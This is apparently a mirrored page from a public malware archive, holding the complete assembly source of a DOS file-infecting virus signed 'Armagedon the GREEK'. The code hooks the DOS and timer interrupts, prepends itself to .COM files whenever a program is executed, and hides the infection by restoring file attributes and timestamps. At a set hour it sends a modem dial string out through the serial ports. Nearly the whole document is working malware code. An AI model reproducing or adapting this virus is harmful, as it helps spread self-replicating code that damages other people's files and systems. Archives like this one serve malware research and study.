mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
524 lines
16 KiB
NASM
524 lines
16 KiB
NASM
dta equ offset last_byte+10
|
||
virlen equ (offset last_byte - offset start)
|
||
strlen equ (offset endstr - offset startstr)
|
||
|
||
code segment
|
||
assume cs:code,ds:code
|
||
org 100h
|
||
start: jmp main
|
||
|
||
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
|
||
pushf ; Save flags for compare
|
||
cmp ah,0e0h ; Is it exist-test?
|
||
jnz notest1 ; if not go on
|
||
mov ax,0dadah ; else return signature,
|
||
popf ; restore flag and
|
||
iret ; return to program
|
||
notest1: cmp ah,0e1h
|
||
jnz notest2
|
||
mov ax,cs
|
||
popf
|
||
iret
|
||
notest2: cmp ax,4b00h ; is 'EXEC' command?
|
||
jz infector ; if yes go to 'infection'
|
||
do_oldint: popf ; restore flags
|
||
jmp dword ptr cs:oldint21a; jump to normal INT 21h
|
||
newint21 endp
|
||
|
||
oldint21a dw ? ; old INT 21h vector (low)
|
||
oldint21b dw ? ; old INT 21h vector (high)
|
||
oldint8a dw ? ; old INT 8 vector (low)
|
||
oldint8b dw ? ; old INT 8 vector (high)
|
||
status db 0 ; flag for time (call in progress)
|
||
ticks db 0 ; 18.2 tick counter
|
||
cur_h db 0 ; Current time (HOURS)
|
||
cur_m db 0 ; Current time (MINUTES)
|
||
cur_s db 0 ; Current time (SECONDS)
|
||
count dw 0 ; dial counter (30 sec, 540 ticks)
|
||
garbidge db 0
|
||
stringpos db 0
|
||
call_made db 0
|
||
init_done db 0
|
||
comext db 'COM' ; Valid inf. extension
|
||
handle dw ? ; inf. handle number
|
||
filesize dw 20
|
||
prseg dw ?
|
||
seg_buffer dw ?
|
||
ss_reg dw ?
|
||
sp_reg dw ?
|
||
fileds dw ?
|
||
filedx dw ?
|
||
attr dw ?
|
||
filedate dw ?
|
||
filetime dw ?
|
||
|
||
env_seg dw 00h
|
||
cdline_offs dw 81h
|
||
cdline_seg dw ?
|
||
fcb1_offs dw 5ch
|
||
fcb1_seg dw ?
|
||
fcb2_offs dw 6ch
|
||
fcb2_seg dw ?
|
||
|
||
infector proc near ; PROGRAM INFECTOR
|
||
assume cs:code ;
|
||
push ds ; save registers to
|
||
push bx ; insure normal operation
|
||
push si ; by the INT 21h (ah=4b00h)
|
||
push cx ;
|
||
push ax ;
|
||
push dx ;
|
||
push bp ;
|
||
push es ;
|
||
push di ;
|
||
|
||
cld ; Reset direction to increament
|
||
push dx ; Store the address of the
|
||
push ds ; filespec (DS:DX)
|
||
xor cx,cx ; reset counter
|
||
mov si,dx ; set ptr to filespec
|
||
nxtchr: mov al,ds:[si] ; take a char
|
||
cmp al,0 ; is it zero?
|
||
jz okay ; if yes goto okay
|
||
inc cx ; else increase counter
|
||
inc si ; and pointer
|
||
jmp nxtchr ; take the next chr if CX>0
|
||
okay:
|
||
add dx,cx ; Point to end of filespec
|
||
sub dx,3 ; point to .EXT
|
||
mov si,offset comext ; Check if it is a
|
||
mov di,dx ; .COM file
|
||
cmp byte ptr ds:[di-3],'N';
|
||
jnz ok_1 ; Is it a ND. ?
|
||
cmp byte ptr ds:[di-2],'D'; if yes exit!
|
||
jz nmatch ;
|
||
ok_1: mov cx,3 ; checking counter in 3
|
||
cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
|
||
cmp al,ds:[di] ; and compare it with filespec
|
||
jnz nmatch ; If no matching, exit
|
||
inc si ; else increase 1st ptr
|
||
inc di ; and second ptr
|
||
loop cmp_loop ; take next compare if CX>0
|
||
|
||
pop ds ; restore ds and dx to point
|
||
pop dx ;
|
||
|
||
push dx ; Store pointer
|
||
push ds ;
|
||
mov si,dx ; Check if filespec
|
||
mov dl,0 ; contains a drive
|
||
cmp byte ptr ds:[si+1],':'; letter
|
||
jnz nodrive ; If no jump to nodrive spec.
|
||
mov dl,ds:[si] ; else take the drive in DL
|
||
and dl,0fh ; and modify for int 21h (ah=36h)
|
||
nodrive: mov ah,36h ; Take free disk space of DL disk
|
||
int 21h ; Do the call
|
||
cmp ax,0ffffh ; Was an invalid drive specified?
|
||
jz nmatch ; if yes, exit
|
||
jmp bypass ; Correct jx 127 limit
|
||
|
||
nmatch: jmp nomatch
|
||
invd: jmp invdrive
|
||
closeit1: jmp closeit
|
||
resdta1: jmp resdta
|
||
|
||
bypass: cmp bx,3 ; Are there at least 3 clust. free?
|
||
jb nmatch ; If no, exit
|
||
pop ds ; restore pointers
|
||
pop dx ;
|
||
|
||
push ds ; and allocate memory
|
||
push dx ; for the infection
|
||
mov cs:fileds,ds
|
||
mov cs:filedx,dx
|
||
mov ax,4300h ; code for Get Attr
|
||
int 21h
|
||
mov cs:attr,cx
|
||
mov ax,4301h
|
||
xor cx,cx
|
||
int 21h
|
||
|
||
mov bx,0ffffh
|
||
mov ah,48h
|
||
int 21h
|
||
mov ah,48h
|
||
int 21h
|
||
mov cs:seg_buffer,ax
|
||
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov dx,dta
|
||
mov ah,1ah
|
||
int 21h
|
||
|
||
pop dx
|
||
pop ds
|
||
mov ax,3d02h ; DosFn OPEN FILE (R/W)
|
||
clc ; Clear carry flag
|
||
int 21h ; Do open
|
||
jc closeit1 ; If Error exit
|
||
mov bx,ax ; Handle to BX
|
||
mov cs:handle,ax ; save handle
|
||
mov cx,0ffffh ; Bytes to read
|
||
mov ax,cs:seg_buffer ;
|
||
mov ds,ax ;
|
||
mov dx,virlen ; DS:DX points to buffer
|
||
mov ah,3fh ; DosFn READ FROM FILE
|
||
clc ; clear carry flag
|
||
int 21h ; Do the call
|
||
jc closeit1 ; if error exit
|
||
mov cs:filesize,ax ; Num of bytes actually read
|
||
;cmp ax,0e000h ; max com size to infect
|
||
;ja closeit1 ; if size>max exit
|
||
cmp ax,virlen ; if filesize is less than the
|
||
jb virit ; virus size then it is clean
|
||
mov si,virlen+1 ; Set 1st ptr to START of file
|
||
add si,si ; add 1st ptr the length of file
|
||
sub si,21 ; and subtract 12 to point to sig.
|
||
mov cx,19 ; set the test loop to 10 bytes
|
||
mov di,offset signature ; Set 2nd ptr to constant signature
|
||
test_sig: mov al,ds:[si] ; take the byte pointed to by SI
|
||
mov ah,cs:[di] ; and compare it with the byte
|
||
cmp ah,al ; pointed to by DI
|
||
jne virit ; if not equal then it is clean!
|
||
inc si ; else increase 1st pointer
|
||
inc di ; increase 2nd pointer
|
||
loop test_sig ; continue with next if CX>0
|
||
jmp closeit
|
||
|
||
virit: mov ax,4200h ; Code for LSEEK (Start)
|
||
mov bx,cs:handle ; Handle num in BX
|
||
xor cx,cx ; Reset CX
|
||
mov dx,cx ; and DX
|
||
int 21h ; Do the call
|
||
jc closeit
|
||
|
||
mov si,offset start
|
||
mov cx,virlen
|
||
xor di,di
|
||
mov ax,cs:seg_buffer
|
||
mov ds,ax
|
||
virusin: mov al,cs:[si]
|
||
mov ds:[di],al
|
||
inc si
|
||
inc di
|
||
loop virusin
|
||
|
||
mov ax,5700h
|
||
mov bx,cs:handle
|
||
int 21h
|
||
mov cs:filetime,cx
|
||
mov cs:filedate,dx
|
||
|
||
mov ax,cs:seg_buffer
|
||
mov ds,ax
|
||
|
||
mov si,virlen
|
||
mov al,ds:[si]
|
||
add al,11
|
||
mov ds:[si],al
|
||
|
||
xor dx,dx ; DX points to Buffer (file)
|
||
mov cx,cs:filesize ; Size of file in CX
|
||
add cx,virlen ; But added by Virlen
|
||
mov bx,cs:handle ; File handle num in BX
|
||
mov ah,40h ; Code for WRITE FILE
|
||
int 21h ; Do the call
|
||
|
||
mov cx,cs:filetime
|
||
mov dx,cs:filedate
|
||
mov bx,cs:handle
|
||
mov ax,5701h
|
||
int 21h
|
||
|
||
closeit: mov bx,cs:handle ; Handle in BX
|
||
mov ah,3eh ; Code for CLOSE FILE
|
||
int 21h ; Do close it
|
||
push cs
|
||
pop ds
|
||
resdta: mov dx,80h ; Reset the DTA
|
||
mov ah,1ah ; in Address 80H
|
||
int 21h ; Do call
|
||
mov ax,cs:seg_buffer
|
||
mov es,ax
|
||
mov ah,49h
|
||
int 21h
|
||
|
||
mov ax,cs:fileds ;
|
||
mov ds,ax ;
|
||
mov dx,cs:filedx ;
|
||
mov ax,4301h ;
|
||
mov cx,cs:attr ;
|
||
int 21h ;
|
||
jmp invdrive ; and exit
|
||
nomatch:
|
||
pop ds
|
||
pop dx
|
||
jmp notinfect
|
||
|
||
invdrive:
|
||
notinfect:
|
||
pop di ; restore registers
|
||
pop es ; to their initial
|
||
pop bp ; values
|
||
pop dx ;
|
||
pop ax ;
|
||
pop cx ;
|
||
pop si ;
|
||
pop bx ;
|
||
pop ds ;
|
||
jmp do_oldint ; return from call
|
||
infector endp
|
||
|
||
newint8 proc far ; VIRUS' TIMER ISR
|
||
push bp ;
|
||
push ds ; store all registers
|
||
push es ; and flags before
|
||
push ax ; the new timer
|
||
push bx ; operations.
|
||
push cx ; Otherwize a 'crush'
|
||
push dx ; is unavoidable
|
||
push si ;
|
||
push di ;
|
||
pushf ; Simulate an INT
|
||
call dword ptr cs:oldint8a ; Do old timer stuff
|
||
call tick ; update virus clock routine
|
||
push cs
|
||
pop ds
|
||
mov ah,5 ; Check if time
|
||
mov ch,cur_h ; is now above the
|
||
cmp ah,ch ; lower limit (5 o'clock)
|
||
ja exitpoint ; if not, exit
|
||
mov ah,6 ; Check if time
|
||
cmp ah,ch ; is now below the higher limit
|
||
jb exitpoint ; if not, exit
|
||
mov ah,status ; get the virus status
|
||
cmp ah,1 ; test if call in progress
|
||
jz in_progress ; if yes goto countdown routine
|
||
mov ah,1 ; if not, set the status to
|
||
mov status,ah ; indicate 'In progress'
|
||
jmp exitpoint ; and exit
|
||
in_progress: ; CALL IS IN PROGRESS!
|
||
call dial ; else call dial routine
|
||
inc count ; CALL_TIMER
|
||
mov ax,count
|
||
cmp ax,540 ; check for time-out
|
||
jne exitpoint ; if not, exit else
|
||
xor ax,ax ; set status to indicate
|
||
mov status,ah ; 'ready to call'!
|
||
mov count,ax ; reset call_timer
|
||
mov call_made,ah
|
||
exitpoint:
|
||
pop di ; restore registers to
|
||
pop si ; their values and
|
||
pop dx ;
|
||
pop cx ;
|
||
pop bx ;
|
||
pop ax ;
|
||
pop es ;
|
||
pop ds ;
|
||
pop bp ;
|
||
iret ; return to program
|
||
newint8 endp
|
||
|
||
tick proc near ; VIRUS' CLOCK ROUTINE
|
||
assume cs:code,ds:code
|
||
push cs
|
||
pop ds
|
||
xor al,al
|
||
mov ah,ticks ; test if ticks have
|
||
cmp ah,17 ; reached limit (17)
|
||
jnz incticks ; if no, incerase ticks
|
||
mov ah,cur_s ; test if seconds have
|
||
cmp ah,59 ; reached limit (59)
|
||
jnz incsec ; if no, increase seconds
|
||
mov ah,cur_m ; test if minutes have
|
||
cmp ah,59 ; reached limit (59)
|
||
jnz incmin ; if no, increase minutes
|
||
mov ah,cur_h ; test if hours have
|
||
cmp ah,23 ; reached limit (23)
|
||
jnz inchour ; if no, increase hours
|
||
mov cur_h,al ; else reset hours
|
||
exitp3: mov cur_m,al ; reset minutes
|
||
exitp2: mov cur_s,al ; reset seconds
|
||
exitp1: mov ticks,al ; reset ticks
|
||
ret ; end exit
|
||
incticks: inc ticks ; increase ticks
|
||
ret ; and exit
|
||
incsec: inc cur_s ; increase seconds
|
||
jmp exitp1 ; and exit
|
||
incmin: inc cur_m ; increase minutes
|
||
jmp exitp2 ; and exit
|
||
inchour: inc cur_h ; increase hours
|
||
jmp exitp3 ; end exit
|
||
tick endp
|
||
|
||
startstr:
|
||
string db '+++aTh0m0s7=35dp081,,,,141'
|
||
endstr:
|
||
|
||
dial proc near
|
||
assume cs:code,ds:code
|
||
|
||
mov al,call_made
|
||
cmp al,1
|
||
jz exit_dial
|
||
mov al,init_done
|
||
cmp al,1
|
||
jz send_one
|
||
|
||
mov cx,3
|
||
next_init: mov dx,cx
|
||
xor ah,ah
|
||
mov al,131
|
||
int 14h
|
||
loop next_init
|
||
mov al,1
|
||
mov init_done,al
|
||
jmp exit_dial
|
||
|
||
send_one: push cs
|
||
pop ds
|
||
mov si,offset string
|
||
mov al,stringpos
|
||
cmp al,strlen
|
||
jnz do_send
|
||
jmp sendret
|
||
|
||
do_send: xor ah,ah
|
||
add si,ax
|
||
next_char: mov al,[si]
|
||
mov dx,3f8h
|
||
out dx,al
|
||
mov dx,2f8h
|
||
out dx,al
|
||
mov dx,2e8h
|
||
out dx,al
|
||
mov dx,3e8h
|
||
out dx,al
|
||
inc stringpos
|
||
jmp exit_dial
|
||
|
||
sendret: mov cx,3
|
||
retloop: mov dx,cx
|
||
mov al,13
|
||
mov ah,1
|
||
int 14h
|
||
loop retloop
|
||
|
||
reset: mov ax,0001h
|
||
mov call_made,al
|
||
mov stringpos,ah
|
||
mov init_done,ah
|
||
exit_dial: ret
|
||
dial endp
|
||
|
||
main: ; VIRUS' MEMORY INSTALLER
|
||
assume cs:code,ds:code ;
|
||
mov ah,0e0h ; is VIRUS already
|
||
int 21h ; in memory?
|
||
cmp ax,0dadah ; if yes then
|
||
jnz cont ; terminate, else
|
||
jmp already_in
|
||
cont: push cs
|
||
pop ds
|
||
mov ax,3521h ; capture the old
|
||
int 21h ; INT 21h vector and
|
||
mov oldint21a,bx ; store the absolute address
|
||
mov oldint21b,es ; in 'oldint21x' variables
|
||
mov dx,offset newint21 ; point to new INT 21h ISR
|
||
mov ax,2521h ; replace it to vector
|
||
int 21h ;
|
||
mov ax,3508h ; capture the old
|
||
int 21h ; timer vector and
|
||
mov oldint8a,bx ; store the address
|
||
mov oldint8b,es ; in 'oldint8x' var
|
||
mov dx,offset newint8 ; point to new timer ISR
|
||
mov ax,2508h ; replace it to vector
|
||
int 21h ;
|
||
mov ah,2ch ; get the current
|
||
int 21h ; time from DOS
|
||
mov cur_h,ch ; and store it
|
||
mov cur_m,cl ; for the
|
||
mov cur_s,dh ; virus' timer
|
||
; RUN PROGRAM!
|
||
mov ax,cs:[2ch]
|
||
mov ds,ax
|
||
xor si,si
|
||
loop1: mov al,ds:[si]
|
||
cmp al,1
|
||
jz exitl1
|
||
inc si
|
||
jmp loop1
|
||
exitl1: inc si
|
||
inc si
|
||
mov dx,si
|
||
|
||
mov ax,cs
|
||
mov es,ax ; SHRINK BLOCK
|
||
mov bx,90
|
||
mov ah,4ah
|
||
int 21h
|
||
|
||
mov bx,cs:[81h]
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov cs:fcb1_seg,ax
|
||
mov cs:fcb2_seg,ax
|
||
mov cs:cdline_seg,ax
|
||
mov ax,4b00h
|
||
;
|
||
;
|
||
;
|
||
mov cs:ss_reg,ss
|
||
mov cs:sp_reg,sp
|
||
pushf
|
||
call dword ptr cs:oldint21a
|
||
mov ax,cs:ss_reg
|
||
mov ss,ax
|
||
mov ax,cs:sp_reg
|
||
mov sp,ax
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov dx,offset last_byte
|
||
int 27h
|
||
|
||
already_in: mov ah,0e1h
|
||
int 21h
|
||
mov si,offset pokelabl
|
||
mov cs:[si+3],ax
|
||
mov ax,offset fix_com
|
||
mov cs:[si+1],ax
|
||
mov ax,cs:filesize
|
||
mov bx,cs
|
||
pokelabl: db 0eah,00h,00h,00h,00h
|
||
|
||
fix_com: mov cx,ax
|
||
mov ds,bx
|
||
mov si,100h
|
||
mov di,100h+virlen
|
||
dofix: mov al,ds:[di]
|
||
mov ds:[si],al
|
||
inc si
|
||
inc di
|
||
loop dofix
|
||
mov si,offset poklb
|
||
mov cs:[si+3],ds
|
||
mov al,ds:[100h]
|
||
sub al,11
|
||
mov ds:[100h],al
|
||
mov ax,ds
|
||
mov es,ax
|
||
mov ss,ax
|
||
poklb: db 0eah,00h,01h,00h,00h
|
||
|
||
signature: db 'Armagedon the GREEK'
|
||
last_byte: db 90h+11
|
||
nop
|
||
nop
|
||
nop
|
||
mov ah,4ch
|
||
int 21h
|
||
code ends
|
||
end start
|
||
|